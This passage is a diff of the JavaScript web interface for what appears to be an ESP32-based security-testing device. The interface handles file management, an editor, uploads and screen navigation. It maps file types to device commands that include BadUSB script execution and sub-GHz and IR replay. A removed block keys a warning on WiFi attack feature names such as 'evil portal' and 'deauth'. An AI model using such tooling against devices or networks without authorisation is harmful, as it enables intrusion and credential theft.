-
- case 21: // DRAWFASTHLINE
- ctx.fillStyle = color565toCSS(input.fg);
- ctx.fillRect(input.x, input.y, input.w, 1);
- break;
- }
- }
-
- // Check if WiFi menu is present on screen and show/hide warning
- const wifiWarning = $("#wifi-warning");
- const allText = screenText.join(" ").toLowerCase();
- const isWiFiMenu =
- allText.includes("wifi") ||
- allText.includes("evil portal") ||
- allText.includes("deauth") ||
- allText.includes("handshake");
-
- if (isWiFiMenu) {
- wifiWarning.classList.remove("hidden");
- } else {
- wifiWarning.classList.add("hidden");
- }
-}
-function drawCanvasLoading() {
- if (loadingDrawn || !showNavigating) return;
- loadingDrawn = true;
- const canvas = $("#navigator-screen");
- const ctx = canvas.getContext("2d");
- const width = canvas.width;
- const height = canvas.height;
-
- // Draw semi-transparent black background
- ctx.save();
- ctx.globalAlpha = 0.8;
- ctx.fillStyle = "#000";
- ctx.fillRect(0, 0, width, height);
- ctx.globalAlpha = 1.0;
-
- // Draw "Loading" text in the center
- ctx.fillStyle = "#fff";
- ctx.font = "bold 14px 'DejaVu Sans Mono', Consolas, Menlo";
- ctx.textAlign = "center";
- ctx.textBaseline = "middle";
- ctx.fillText("Navigating...", width / 2, height / 2);
- ctx.restore();
-}
-
-let oldTimerSession = sessionStorage.getItem("autoReload") || "0";
-eConfigAutoReload.querySelector(`option[value="${oldTimerSession}"]`).selected =
- true;
-eConfigAutoReload.addEventListener("change", async (e) => {
- e.preventDefault();
- autoReloadScreen();
- sessionStorage.setItem("autoReload", eConfigAutoReload.value);
-});
-
-btnForceReload.addEventListener("click", async (e) => {
- e.preventDefault();
- drawCanvasLoading();
- await reloadScreen();
-});
-
-window.ondragenter = () => $(".upload-area").classList.remove("hidden");
-$(".upload-area").ondragleave = () => $(".upload-area").classList.add("hidden");
-$(".upload-area").ondragover = (e) => e.preventDefault();
-$(".upload-area").ondrop = async (e) => {
- e.preventDefault();
- $(".upload-area").classList.add("hidden");
- const items = e.dataTransfer.items;
- if (!items || items.length === 0) return;
-
- for (let i of items) {
- let entry = i.webkitGetAsEntry();
- if (!entry) continue;
- await appendDroppedFiles(entry);
- }
-
- if (!_runningUpload)
- setTimeout(() => {
- if (_queueUpload.length === 0) return;
- uploadFile();
- }, 100);
-};
-
-document.querySelectorAll(".inp-uploader").forEach((el) => {
- el.addEventListener("change", async (e) => {
- let files = e.target.files;
- if (!files || files.length === 0) return;
-
- appendFileToQueue(files);
- _queueUpload.push(...files);
- if (!_runningUpload) uploadFile();
-
- this.value = "";
- });
-});
-
-$(".container").addEventListener("click", async (e) => {
- let browseAction = e.target.closest(".act-browse");
- if (browseAction) {
- e.preventDefault();
- let drive =
- browseAction.getAttribute("data-drive") || currentDrive || "LittleFS";
- let path =
- browseAction.getAttribute("data-path") ||
- browseAction.closest("tr").getAttribute("data-path") ||
- "/";
- if (drive === currentDrive && path === currentPath) return;
-
- fetchFiles(drive, path);
- return;
- }
-
- let editFileAction = e.target.closest(".act-edit-file");
- if (editFileAction) {
- e.preventDefault();
- let editor = $(".dialog.editor .file-content");
- let file = editFileAction.closest("tr").getAttribute("data-file");
- if (!file) return;
- $(".dialog.editor .editor-file-name").textContent = file;
- editor.value = "";
-
- // Load file content
- Dialog.loading.show("Fetching content...");
- let r = await requestGet(
- `/file?fs=${currentDrive}&name=${encodeURIComponent(file)}&action=edit`,
- );
- editor.value = r;
- editor.setAttribute("data-hash", calcHash(r));
-
- // Update line numbers
- updateLineNumbers();
-
- $(".act-save-edit-file").disabled = true;
-
- let serial = getSerialCommand(file);
- if (serial === undefined) {
- $(".act-run-edit-file").classList.add("hidden");
- } else {
- $(".act-run-edit-file").classList.remove("hidden");
- }
-
- Dialog.loading.hide();
- Dialog.show("editor");
-
- // Update URL to include edit state
- updateURL(currentDrive, currentPath, file);
- return;
- }
-
- let oActionOInput = e.target.closest(".act-oinput");
- if (oActionOInput) {
- e.preventDefault();
- let action = oActionOInput.getAttribute("data-action");
- if (!action) return;
-
- let value = "",
- data = "";
- if (action.startsWith("rename")) {
- let row = oActionOInput.closest("tr");
- let filePath =
- row.getAttribute("data-file") || row.getAttribute("data-path");
-
- if (filePath != "") {
- value = filePath.substring(filePath.lastIndexOf("/") + 1);
- data = `${action}|${filePath}`;
- }
- } else if (action.startsWith("create")) {
- filePath = currentPath;
- data = `${action}|${filePath}`;
- } else {
- data = `${action}`;
- }
- Dialog.showOneInput(action, value, data);
- return;
- }
-
- let actDeleteFile = e.target.closest(".act-delete");
- if (actDeleteFile) {
- e.preventDefault();
- let file =
- actDeleteFile.closest(".file-row").getAttribute("data-file") ||
- actDeleteFile.closest(".file-row").getAttribute("data-path");
- if (!file) return;
-
- if (
- !confirm(
- `Are you sure you want to DELETE ${file}?\n\nTHIS ACTION CANNOT BE UNDONE!`,
- )
- )
- return;
-
- Dialog.loading.show("Deleting...");
- await requestGet("/file", {
- fs: currentDrive,
- action: "delete",
- name: file,
- });
- Dialog.loading.hide();
- fetchSystemInfo();
- fetchFiles(currentDrive, currentPath);
- return;
- }
-
- let actPlay = e.target.closest(".act-play");
- if (actPlay) {
- e.preventDefault();
- let cmd = actPlay.getAttribute("data-cmd");
- if (!cmd) return;
-
- actPlay.blur();
- await runCommand(cmd);
- return;
- }
-});
-
-$(".dialog-background").addEventListener("click", async (e) => {
- if (e.target.matches(".act-dialog-close")) {
- e.preventDefault();
- Dialog.hide();
- return;
- }
-});
-
-$(".act-save-oinput-file").addEventListener("click", async (e) => {
- let dialog = $(".dialog.oinput");
- let fileInput = $("#oinput-input");
- let fileName = fileInput.value.trim();
- if (!fileName) {
- alert("Filename cannot be empty.");
- return;
- }
- let action = dialog.getAttribute("data-cache");
- if (!action) {
- alert("No action specified.");
- return;
- }
-
- let refreshList = true;
- let [actionType, path] = action.split("|");
- if (actionType.startsWith("rename")) {
- Dialog.loading.show("Renaming...");
- await requestPost("/rename", {
- fs: currentDrive,
- filePath: path,
- fileName: fileName,
- });
- } else if (actionType === "createFolder") {
- Dialog.loading.show("Creating Folder...");
- let urlQuery = new URLSearchParams({
- fs: currentDrive,
- action: "create",
- name: path.replace(/\/+$/, "") + "/" + fileName,
- });
- await requestGet("/file?" + urlQuery.toString());
- } else if (actionType === "createFile") {
- Dialog.loading.show("Creating File...");
- let urlQuery = new URLSearchParams({
- fs: currentDrive,
- action: "createfile",
- name: path.replace(/\/+$/, "") + "/" + fileName,
- });
- await requestGet("/file?" + urlQuery.toString());
- } else if (actionType === "serial") {
- Dialog.loading.show("Running Serial Command...");
- await runCommand(fileName);
- refreshList = false; // No need to refresh file list for serial commands
- }
-
- if (refreshList) fetchFiles(currentDrive, currentPath);
- Dialog.hide();
-});
-
-$(".act-save-credential").addEventListener("click", async (e) => {
- let username = $("#cred-username").value.trim();
- let password = $("#cred-password").value.trim();
- if (!username || !password) {
- alert("Username and password cannot be empty.");
- return;
- }
-
- Dialog.loading.show("Saving WiFi Credentials...");
- await requestGet("/wifi", {
- usr: username,
- pwd: password,
- });
- Dialog.loading.hide();
- alert("Credentials saved successfully!");
-});
-
-$(".act-save-edit-file").addEventListener("click", async (e) => {
- await saveEditorFile();
-});
-
-const runEditorBtn = $(".act-run-edit-file");
-runEditorBtn.addEventListener("click", async (e) => {
- await saveEditorFile(true);
- runEditorBtn.blur(); // remove focus
-});
-
-let showNavigating = localStorage.getItem("showNavigating") || false;
-updateShowHideNavigatingButton();
-$(".act-hide-show-navigating").addEventListener("click", async (e) => {
- e.preventDefault();
- showNavigating = !showNavigating;
- localStorage.setItem("showNavigating", showNavigating);
- updateShowHideNavigatingButton();
-});
-
-function updateShowHideNavigatingButton() {
- document.querySelector(".act-hide-show-navigating").innerHTML =
- "'Navigating...' Overlay " +
- (showNavigating ? "Shown" : "Hidden") +
- " (click to toggle)";
-}
-
-$(".act-reboot").addEventListener("click", async (e) => {
- e.preventDefault();
- if (!confirm("Are you sure you want to REBOOT the device?")) return;
- Dialog.loading.show("Rebooting...");
- await requestGet("/reboot");
- setTimeout(() => {
- location.reload();
- }, 1000);
-});
-
-$(".navigator-canvas").addEventListener("click", async (e) => {
- let nav = e.target.matches(".nav") ? e.target : e.target.closest(".nav");
- if (nav === null) return;
-
- let direction = nav.getAttribute("data-direction");
- if (direction === "Menu") {
- direction = "Sel 500";
- }
-
- await runNavigation(direction.toLowerCase());
-});
-
-window.addEventListener("keydown", async (e) => {
- let key = e.key.toLowerCase();
- if ($(".dialog.editor:not(.hidden)")) {
- // means editor tab is open
- if ((e.ctrlKey || e.metaKey) && key === "s") {
- e.preventDefault();
- e.stopImmediatePropagation();
-
- await saveEditorFile();
- } else if (e.altKey && key === "enter") {
- e.preventDefault();
- e.stopImmediatePropagation();
-
- await saveEditorFile(true);
- }
- }
-
- if ($(".dialog.navigator:not(.hidden)")) {
- const map_navigator = {
- arrowup: "Up",
- arrowdown: "Down",
- arrowleft: "Prev",
- arrowright: "Next",
- enter: "Sel",
- backspace: "Esc",
- m: "Menu",
- pageup: "NextPage",
- pagedown: "PrevPage",
- };
-
- if (key === "r") {
- e.preventDefault();
- e.stopImmediatePropagation();
- reloadScreen();
- return;
- }
-
- if (key in map_navigator) {
- e.preventDefault();
- e.stopImmediatePropagation();
- $(
- `.navigator-canvas .nav[data-direction="${map_navigator[key]}"]`,
- ).click();
- return;
- }
- }
-
- if (key === "escape" && $(".dialog-background:not(.hidden)")) {
- if ($(".dialog.editor:not(.hidden)")) {
- let editor = $(".dialog.editor .file-content");
- if (isModified(editor)) {
- if (
- !confirm("You have unsaved changes. Do you want to discard them?")
- ) {
- return;
- }
- }
- }
-
- let btnEscape = $(".dialog:not(.hidden) .act-escape");
- if (btnEscape) btnEscape.click();
- return;
- }
-});
-
-$(".file-content").addEventListener("keydown", function (e) {
- if (!$(".dialog.editor:not(.hidden)")) return;
-
- const textarea = this;
- const start = textarea.selectionStart;
- const end = textarea.selectionEnd;
- const TAB_SIZE = 2;
- const tabSpaces = " ".repeat(TAB_SIZE);
-
- const leadingSpacesRegex = /^ */;
- const closingCharRegex = /^[\}\)\]]/;
-
- const insertText = (text, newStart, newEnd, preserveSelection = true) => {
- textarea.setSelectionRange(start, end);
- document.execCommand("insertText", false, text);
- if (preserveSelection) {
- textarea.setSelectionRange(newStart, newEnd);
- } else {
- textarea.setSelectionRange(newStart, newStart);
- }
- };
-
- const getCurrentLine = (pos) => {
- const lineStart = textarea.value.lastIndexOf("\n", pos - 1) + 1;
- const lineEnd = textarea.value.indexOf("\n", pos);
- const line = textarea.value.slice(
- lineStart,
- lineEnd === -1 ? undefined : lineEnd,
- );
- return {
- line,
- lineStart,
- lineEnd: lineEnd === -1 ? textarea.value.length : lineEnd,
- };
- };
-
- const handleTab = (shift) => {
- if (start === end) {
- const { line, lineStart, lineEnd } = getCurrentLine(start);
- if (shift) {
- const remove = Math.min(
- line.match(leadingSpacesRegex)[0].length,
- TAB_SIZE,
- );
- textarea.setSelectionRange(lineStart, lineEnd);
- document.execCommand("insertText", false, line.slice(remove));
- textarea.setSelectionRange(start - remove, start - remove);
- } else {
- insertText(tabSpaces, start + TAB_SIZE, start + TAB_SIZE, false);
- }
- return;
- }
-
- // Expand selection to full first and last lines
- const { lineStart: firstLineStart } = getCurrentLine(start);
- const { lineEnd: lastLineEnd } = getCurrentLine(
- end === start ? end : end - 1,
- );
-
- const selectedFullText = textarea.value.slice(firstLineStart, lastLineEnd);
- const fullLines = selectedFullText.split("\n");
-
- let totalChange = 0;
- const newTextLines = fullLines.map((line, idx) => {
- const isLast = idx === fullLines.length - 1;
- const skipLast = isLast && /^\s*$/.test(line);
-
- if (skipLast) return line;
-
- const leadingSpaces = line.match(leadingSpacesRegex)[0].length;
-
- if (shift) {
- const remove = Math.min(leadingSpaces, TAB_SIZE);
- totalChange -= remove;
- return line.slice(remove);
- } else {
- const add = TAB_SIZE - (leadingSpaces % TAB_SIZE);
- totalChange += add;
- return " ".repeat(add) + line;
- }
- });
-
- // Replace the expanded selection using execCommand to preserve undo
- // This may become an issue when execCommand is removed since it's deprecated but only way to preserve undo for now
- textarea.setSelectionRange(firstLineStart, lastLineEnd);
- document.execCommand("insertText", false, newTextLines.join("\n"));
- textarea.setSelectionRange(
- firstLineStart,
- firstLineStart + newTextLines.join("\n").length,
- );
- };
-
- const handleEnter = () => {
- const { line } = getCurrentLine(start);
- const indentation = line.match(leadingSpacesRegex)[0] || "";
-
- const nextChar = start < textarea.value.length ? textarea.value[start] : "";
- const prevChar = start > 0 ? textarea.value[start - 1] : "";
- const pairs = { "{": "}", "(": ")", "[": "]" };
-
- if (pairs[prevChar] === nextChar) {
- const extraIndent = " ".repeat(TAB_SIZE);
- const insert = `\n${indentation + extraIndent}\n${indentation}`;
- insertText(
- insert,
- start + indentation.length + extraIndent.length + 1,
- start + indentation.length + extraIndent.length + 1,
- );
- } else {
- const closingLine = closingCharRegex.test(nextChar)
- ? "\n" + indentation
- : "";
- insertText(
- "\n" + indentation + closingLine,
- start + indentation.length + 1,
- start + indentation.length + 1,
- );
- }
- };
-
- const handleAutoPair = (key) => {
- const pairs = {
- "(": ")",
- "{": "}",
- "[": "]",
- '"': '"',
- "'": "'",
- "`": "`",
- "<": ">",
- };
-
- if (start === end) {
- // No selection - insert pair at cursor
- insertText(key + pairs[key], start + 1, start + 1, false);
- } else {
- // Has selection - wrap selected text with pair
- const selectedText = textarea.value.slice(start, end);
- const wrappedText = key + selectedText + pairs[key];
- insertText(wrappedText, start + 1, start + 1 + selectedText.length, true);
- }
- };
-
- const handleSkipCloser = () => {
- textarea.setSelectionRange(start + 1, start + 1);
- };
-
- const handleComment = (commentStr) => {
- const toggleComment = (line) => {
- const indentation = line.match(leadingSpacesRegex)[0] || "";
- const content = line.slice(indentation.length);
-
- if (content.startsWith(commentStr + " ")) {
- return {
- line: indentation + content.slice(commentStr.length + 1),
- offset: -(commentStr.length + 1),
- };
- } else if (content.startsWith(commentStr)) {
- return {
- line: indentation + content.slice(commentStr.length),
- offset: -commentStr.length,
- };
- } else {
- return {
- line: indentation + commentStr + " " + content,
- offset: commentStr.length + 1,
- };
- }
- };
-
- const isCommented = (line) => {
- const content = line.slice(
- (line.match(leadingSpacesRegex)[0] || "").length,
- );
- return (
- content.startsWith(commentStr + " ") || content.startsWith(commentStr)
- );
- };
-
- if (start === end) {
- // Single line - toggle comment
- const { line, lineStart, lineEnd } = getCurrentLine(start);
- const { line: newLine, offset: cursorOffset } = toggleComment(line);
-
- textarea.setSelectionRange(lineStart, lineEnd);
- document.execCommand("insertText", false, newLine);
- textarea.setSelectionRange(start + cursorOffset, start + cursorOffset);
- return;
- }
-
- // Multiple lines - toggle comment for all lines
- const { lineStart: firstLineStart } = getCurrentLine(start);
- const { lineEnd: lastLineEnd } = getCurrentLine(
- end === start ? end : end - 1,
- );
- const fullLines = textarea.value
- .slice(firstLineStart, lastLineEnd)
- .split("\n");
-
- // Find the minimum indentation level (excluding empty lines)
- const nonEmptyLines = fullLines.filter((line) => line.trim().length > 0);
- const minIndentation = Math.min(
- ...nonEmptyLines.map(
- (line) => (line.match(leadingSpacesRegex)[0] || "").length,
- ),
- );
- const commentIndent = " ".repeat(minIndentation);
-
- const allCommented = nonEmptyLines.every(isCommented);
-
- const newTextLines = fullLines.map((line, idx) => {
- const isLast = idx === fullLines.length - 1;
- const skipLast = isLast && /^\s*$/.test(line);
-
- if (skipLast || line.trim().length === 0) return line;
-
- const indentation = line.match(leadingSpacesRegex)[0] || "";
- const content = line.slice(indentation.length);
-
- if (allCommented) {
- // Remove comments
- if (content.startsWith(commentStr + " ")) {
- return indentation + content.slice(commentStr.length + 1);
- } else if (content.startsWith(commentStr)) {
- return indentation + content.slice(commentStr.length);
- }
- return line;
- } else {
- // Add comments at minimum indentation level
- return commentIndent + commentStr + " " + line.slice(minIndentation);
- }
- });
-
- textarea.setSelectionRange(firstLineStart, lastLineEnd);
- document.execCommand("insertText", false, newTextLines.join("\n"));
- textarea.setSelectionRange(
- firstLineStart,
- firstLineStart + newTextLines.join("\n").length,
- );
- };
-
- switch (e.key) {
- case "Tab":
- e.preventDefault();
- handleTab(e.shiftKey);
- return;
- case "Enter":
- e.preventDefault();
- handleEnter();
- return;
- case "/":
- if (e.ctrlKey || e.metaKey) {
- e.preventDefault();
- handleComment("//");
- return;
- }
- break;
- case "#":
- if (e.ctrlKey || e.metaKey) {
- e.preventDefault();
- handleComment("#");
- return;
- }
- break;
- }
-
- const nextChar = start < textarea.value.length ? textarea.value[start] : "";
- const closers = [")", "}", "]", ">", '"', "'", "`"];
- if (closers.includes(e.key) && nextChar === e.key) {
- e.preventDefault();
- handleSkipCloser();
- return;
- }
-
- const pairs = {
- "(": ")",
- "{": "}",
- "[": "]",
- '"': '"',
- "'": "'",
- "`": "`",
- "<": ">",
- };
- if (e.key in pairs) {
- e.preventDefault();
- handleAutoPair(e.key);
- return;
- }
-});
-
-$(".file-content").addEventListener("keyup", function (e) {
- if ($(".dialog.editor:not(.hidden)")) {
- $(".act-save-edit-file").disabled = !isModified(e.target);
- // Update line numbers when content changes
- updateLineNumbers();
- }
-});
-
-$(".file-content").addEventListener("scroll", function (e) {
- if ($(".dialog.editor:not(.hidden)")) {
- // Sync scrolling between textarea and line numbers
- syncScrolling();
- }
-});
-
-$(".file-content").addEventListener("input", function (e) {
- if ($(".dialog.editor:not(.hidden)")) {
- // Update line numbers on any input change
- updateLineNumbers();
- }
-});
-
-$(".oinput-text-submit").addEventListener("keyup", function (e) {
- // Submit using default button on Enter key
- if (e.key === "Enter" || e.keyCode === 13) {
- e.preventDefault();
- const dialog = this.closest(".dialog");
- const btn = dialog.querySelector(".btn-default");
- if (btn) btn.click();
- }
-});
-
-// Handle browser back/forward navigation
-window.addEventListener("popstate", (event) => {
- if (event.state && event.state.drive && event.state.path) {
- fetchFiles(event.state.drive, event.state.path);
-
- // Restore edit state if present
- if (event.state.editFile) {
- setTimeout(async () => {
- try {
- let editor = $(".dialog.editor .file-content");
- $(".dialog.editor .editor-file-name").textContent =
- event.state.editFile;
- editor.value = "";
-
- Dialog.loading.show("Fetching content...");
- let r = await requestGet(
- `/file?fs=${event.state.drive}&name=${encodeURIComponent(event.state.editFile)}&action=edit`,
- );
- editor.value = r;
- editor.setAttribute("data-hash", calcHash(r));
-
- // Update line numbers
- updateLineNumbers();
-
- $(".act-save-edit-file").disabled = true;
-
- let serial = getSerialCommand(event.state.editFile);
- if (serial === undefined) {
- $(".act-run-edit-file").classList.add("hidden");
- } else {
- $(".act-run-edit-file").classList.remove("hidden");
- }
-
- Dialog.loading.hide();
- Dialog.show("editor");
- } catch (error) {
- console.error("Failed to restore file editor:", error);
- }
- }, 100);
- }
- } else {
- // Fallback: parse URL parameters
- const urlParams = getURLParams();
- const drive = urlParams.drive || (sdCardAvailable ? "SD" : "LittleFS");
- const path = urlParams.path || "/";
- fetchFiles(drive, path);
-
- // Handle edit file restoration from URL
- if (urlParams.editFile) {
- setTimeout(async () => {
- try {
- let editor = $(".dialog.editor .file-content");
- $(".dialog.editor .editor-file-name").textContent =
- urlParams.editFile;
- editor.value = "";
-
- Dialog.loading.show("Fetching content...");
- let r = await requestGet(
- `/file?fs=${drive}&name=${encodeURIComponent(urlParams.editFile)}&action=edit`,
- );
- editor.value = r;
- editor.setAttribute("data-hash", calcHash(r));
-
- // Update line numbers
- updateLineNumbers();
-
- $(".act-save-edit-file").disabled = true;
-
- let serial = getSerialCommand(urlParams.editFile);
- if (serial === undefined) {
- $(".act-run-edit-file").classList.add("hidden");
- } else {
- $(".act-run-edit-file").classList.remove("hidden");
- }
-
- Dialog.loading.hide();
- Dialog.show("editor");
- } catch (error) {
- console.error("Failed to restore file editor from URL:", error);
- updateURL(drive, path, null);
- }
- }, 100);
- }
- }
-});
-
-(async function () {
- await fetchSystemInfo();
-
- // Get initial state from URL parameters or use defaults
- const urlParams = getURLParams();
- let initialDrive = urlParams.drive;
- let initialPath = urlParams.path;
- let editFile = urlParams.editFile;
-
- // Validate and fallback to defaults if needed
- if (!initialDrive) {
- initialDrive = sdCardAvailable ? "SD" : "LittleFS";
- }
- if (!initialPath) {
- initialPath = "/";
- }
-
- await fetchFiles(initialDrive, initialPath);
-
- // If there's an edit file parameter, open the file editor
- if (editFile) {
- setTimeout(async () => {
- try {
- let editor = $(".dialog.editor .file-content");
- $(".dialog.editor .editor-file-name").textContent = editFile;
- editor.value = "";
-
- // Load file content
- Dialog.loading.show("Fetching content...");
- let r = await requestGet(
- `/file?fs=${currentDrive}&name=${encodeURIComponent(editFile)}&action=edit`,
- );
- editor.value = r;
- editor.setAttribute("data-hash", calcHash(r));
-
- // Update line numbers
- updateLineNumbers();
-
- $(".act-save-edit-file").disabled = true;
-
- let serial = getSerialCommand(editFile);
- if (serial === undefined) {
- $(".act-run-edit-file").classList.add("hidden");
- } else {
- $(".act-run-edit-file").classList.remove("hidden");
- }
-
- Dialog.loading.hide();
- Dialog.show("editor");
- } catch (error) {
- console.error("Failed to open file for editing:", error);
- // Remove edit parameter from URL if file loading fails
- updateURL(currentDrive, currentPath, null);
- }
- }, 100); // Small delay to ensure the file list is loaded first
- }
-})();
+function $(s) { return document.querySelector(s); }
+const IS_DEV = (window.location.host === "127.0.0.1:8080");
+
+const T = {
+ master: $('#t'),
+ fileRow: function () {
+ const tmp = document.createElement('template');
+ tmp.innerHTML = this.master.content.querySelector('table tr.file-row').outerHTML;
+ return tmp.content;
+ },
+ pathRow: function () {
+ const tmp = document.createElement('template');
+ tmp.innerHTML = this.master.content.querySelector('table tr.path-row').outerHTML;
+ return tmp.content;
+ },
+ uploadLoading: function () {
+ const tmp = document.createElement('template');
+ tmp.innerHTML = this.master.content.querySelector('.upload-loading').outerHTML;
+ return tmp.content;
+ }
+};
+
+const EXECUTABLE = {
+ ir: "ir tx_from_file",
+ sub: "subghz tx_from_file",
+ js: "js run_from_file",
+ bjs: "js run_from_file",
+ txt: "badusb run_from_file",
+ mp3: "play",
+ wav: "play"
+};
+
+// Toast notification system
+const Toast = {
+ show: function (message, type, duration) {
+ type = type || 'success';
+ duration = duration || 3000;
+ const container = $('#toast-container');
+ const toast = document.createElement('div');
+ toast.className = 'toast ' + type;
+ toast.textContent = message;
+ container.appendChild(toast);
+ setTimeout(function () {
+ toast.classList.add('removing');
+ setTimeout(function () { toast.remove(); }, 200);
+ }, duration);
+ }
+};
+
+// Dialog system with animations
+const Dialog = {
+ _bg: function (show) {
+ var bg = $(".dialog-background");
+ var dialogs = document.querySelectorAll(".dialog");
+ dialogs.forEach(function (d) { d.classList.add("hidden"); });
+
+ if (show) {
+ bg.classList.remove("hidden");
+ bg.offsetHeight; // force reflow
+ bg.classList.add("visible");
+ } else {
+ bg.classList.remove("visible");
+ setTimeout(function () {
+ if (!bg.classList.contains("visible")) {
+ bg.classList.add("hidden");
+ }
+ }, 250);
+ }
+ },
+ show: function (dialogName) {
+ this._bg(true);
+ $(".dialog." + dialogName).classList.remove("hidden");
+ },
+ hide: function () {
+ this._bg(false);
+ this.loading.hide();
+ if (currentDrive && currentPath) updateURL(currentDrive, currentPath, null);
+ },
+ loading: {
+ show: function (message) {
+ $(".loading-area").classList.remove("hidden");
+ $(".loading-area .text").textContent = message || "Loading...";
+ },
+ hide: function () {
+ $(".loading-area").classList.add("hidden");
+ }
+ },
+ showOneInput: function (name, inputVal, data) {
+ var dbForm = {
+ renameFolder: { title: "Rename Folder", label: "New folder name:", action: "Rename" },
+ renameFile: { title: "Rename File", label: "New file name:", action: "Rename" },
+ createFolder: { title: "New Folder", label: "Folder name:", action: "Create" },
+ createFile: { title: "New File", label: "File name:", action: "Create" },
+ serial: { title: "Serial Command", label: "Command:", action: "Run" }
+ };
+
+ var config = dbForm[name];
+ if (!config) return;
+
+ var dialog = $(".dialog.oinput");
+ dialog.setAttribute("data-cache", data);
+ dialog.querySelector(".oinput-title").textContent = config.title;
+ dialog.querySelector(".oinput-label").textContent = config.label;
+ dialog.querySelector("#oinput-input").value = inputVal;
+ dialog.querySelector(".act-save-oinput-file").textContent = config.action;
+ this.show('oinput');
+ dialog.querySelector("#oinput-input").select();
+ return dialog;
+ }
+};
+
+function handleAuthError() {
+ if (confirm("Session expired. Go to login page?")) {
+ window.location.href = "/";
+ } else {
+ Dialog.loading.hide();
+ }
+}
+
+async function requestGet(url, data) {
+ return new Promise(function (resolve, reject) {
+ var req = new XMLHttpRequest();
+ var realUrl = url;
+ if (IS_DEV) realUrl = "/bruce" + url;
+ if (data) {
+ var urlParams = new URLSearchParams(data);
+ realUrl += "?" + urlParams.toString();
+ }
+ req.open("GET", realUrl, true);
+ req.onload = function () {
+ if (req.status >= 200 && req.status < 300) resolve(req.responseText);
+ else if (req.status === 401) { handleAuthError(); reject(new Error("Unauthorized (401)")); }
+ else reject(new Error("Request failed: " + req.status));
+ };
+ req.onerror = function () { reject(new Error("Network error")); };
+ req.send();
+ });
+}
+
+async function requestPost(url, data) {
+ return new Promise(function (resolve, reject) {
+ var fd = new FormData();
+ for (var key in data) {
+ if (data.hasOwnProperty(key)) fd.append(key, data[key]);
+ }
+ var realUrl = url;
+ if (IS_DEV) realUrl = "/bruce" + url;
+ var req = new XMLHttpRequest();
+ req.open("POST", realUrl, true);
+ req.onload = function () {
+ if (req.status >= 200 && req.status < 300) resolve(req.responseText);
+ else if (req.status === 401) { handleAuthError(); reject(new Error("Unauthorized (401)")); }
+ else reject(new Error("Request failed: " + req.status));
+ };
+ req.onerror = function () { reject(new Error("Network error")); };
+ req.send(fd);
+ });
+}
+
+function stringToId(str) {
+ var hash = 0, i, chr;
+ if (str.length === 0) return hash.toString();
+ for (i = 0; i < str.length; i++) {
+ chr = str.charCodeAt(i);
+ hash = ((hash << 5) - hash) + chr;
+ hash |= 0;
+ }
+ return 'id_' + Math.abs(hash);
+}
+
+function calcHash(str) {
+ var hash = 5381;
+ str = str.replace(/\r\n/g, '\n').replace(/\r/g, '\n');
+ for (var i = 0; i < str.length; i++) {
+ hash = ((hash << 5) + hash) ^ str.charCodeAt(i);
+ hash = hash >>> 0;
+ }
+ return hash.toString(16).padStart(8, '0');
+}
+
+function getSerialCommand(fileName) {
+ var ext = fileName.split('.');
+ if (ext.length > 1) {
+ ext = ext[ext.length - 1].toLowerCase();
+ return EXECUTABLE[ext];
+ }
+ return undefined;
+}
+
+function parseStorageBytes(str) {
+ var parts = str.trim().split(' ');
+ if (parts.length < 2) return 0;
+ var num = parseFloat(parts[0]);
+ var unit = parts[1].toUpperCase();
+ var mult = { 'B': 1, 'KB': 1024, 'MB': 1048576, 'GB': 1073741824 };
+ return num * (mult[unit] || 1);
+}
+
+// Upload system
+var _queueUpload = [];
+var _runningUpload = false;
+var _uploadItems = []; // {file, id, status:'pending'|'uploading'|'done'|'error', pct:0}
+var _uploadPage = 0;
+var _uploadPerPage = 8;
+var _uploadStartTime = 0;
+var _uploadedBytes = 0;
+var _totalBytes = 0;
+var _uploadedCount = 0;
+
+function resetUploadState() {
+ _uploadItems = [];
+ _uploadPage = 0;
+ _uploadedBytes = 0;
+ _totalBytes = 0;
+ _uploadedCount = 0;
+ _uploadStartTime = 0;
+}
+
+function addUploadItem(file) {
+ var filename = file.webkitRelativePath || file.name;
+ var id = stringToId(filename + '_' + _uploadItems.length);
+ _uploadItems.push({ file: file, id: id, name: filename, status: 'pending', pct: 0 });
+ _totalBytes += file.size;
+}
+
+function renderUploadPage() {
+ var body = $('#upload-list');
+ body.innerHTML = '';
+ var totalPages = Math.max(1, Math.ceil(_uploadItems.length / _uploadPerPage));
+ if (_uploadPage >= totalPages) _uploadPage = totalPages - 1;
+ if (_uploadPage < 0) _uploadPage = 0;
+
+ var start = _uploadPage * _uploadPerPage;
+ var end = Math.min(start + _uploadPerPage, _uploadItems.length);
+ for (var i = start; i < end; i++) {
+ var item = _uploadItems[i];
+ var el = T.uploadLoading();
+ var row = el.querySelector('.upload-loading');
+ row.setAttribute('data-uid', item.id);
+ if (item.status !== 'pending') row.classList.add(item.status === 'uploading' ? 'active' : item.status);
+ el.querySelector('.upload-name').textContent = item.name;
+ el.querySelector('.upload-name').setAttribute('title', item.name);
+ var bar = el.querySelector('.bar');
+ bar.setAttribute('id', item.id);
+ bar.style.width = item.pct + '%';
+ var pctLabel = el.querySelector('.upload-pct');
+ if (item.status === 'done') pctLabel.textContent = '100%';
+ else if (item.status === 'error') pctLabel.textContent = 'ERR';
+ else if (item.status === 'uploading') pctLabel.textContent = Math.round(item.pct) + '%';
+ else pctLabel.textContent = '';
+ body.appendChild(el);
+ }
+
+ // Auto-scroll to page with active upload
+ var activeIdx = _uploadItems.findIndex(function(it) { return it.status === 'uploading'; });
+ if (activeIdx >= 0) {
+ var activePage = Math.floor(activeIdx / _uploadPerPage);
+ if (activePage !== _uploadPage) {
+ _uploadPage = activePage;
+ renderUploadPage();
+ return;
+ }
+ }
+
+ updateUploadPagination();
+}
+
+function updateUploadPagination() {
+ var totalPages = Math.max(1, Math.ceil(_uploadItems.length / _uploadPerPage));
+ $('#upload-page-info').textContent = (_uploadPage + 1) + ' / ' + totalPages;
+ $('#upload-prev').disabled = _uploadPage <= 0;
+ $('#upload-next').disabled = _uploadPage >= totalPages - 1;
+ // Hide pagination if only one page
+ var pagesEl = $('#upload-pages');
+ if (totalPages <= 1) pagesEl.style.display = 'none';
+ else pagesEl.style.display = '';
+}
+
+function updateUploadStats(currentFilePct, currentFileSize) {
+ var done = _uploadedCount;
+ var total = _uploadItems.length;
+ var partialBytes = (currentFilePct / 100) * currentFileSize;
+ var transferred = _uploadedBytes + partialBytes;
+
+ // Counter
+ $('#upload-counter').textContent = done + ' / ' + total;
+
+ // Overall progress
+ var overallPct = _totalBytes > 0 ? (transferred / _totalBytes) * 100 : 0;
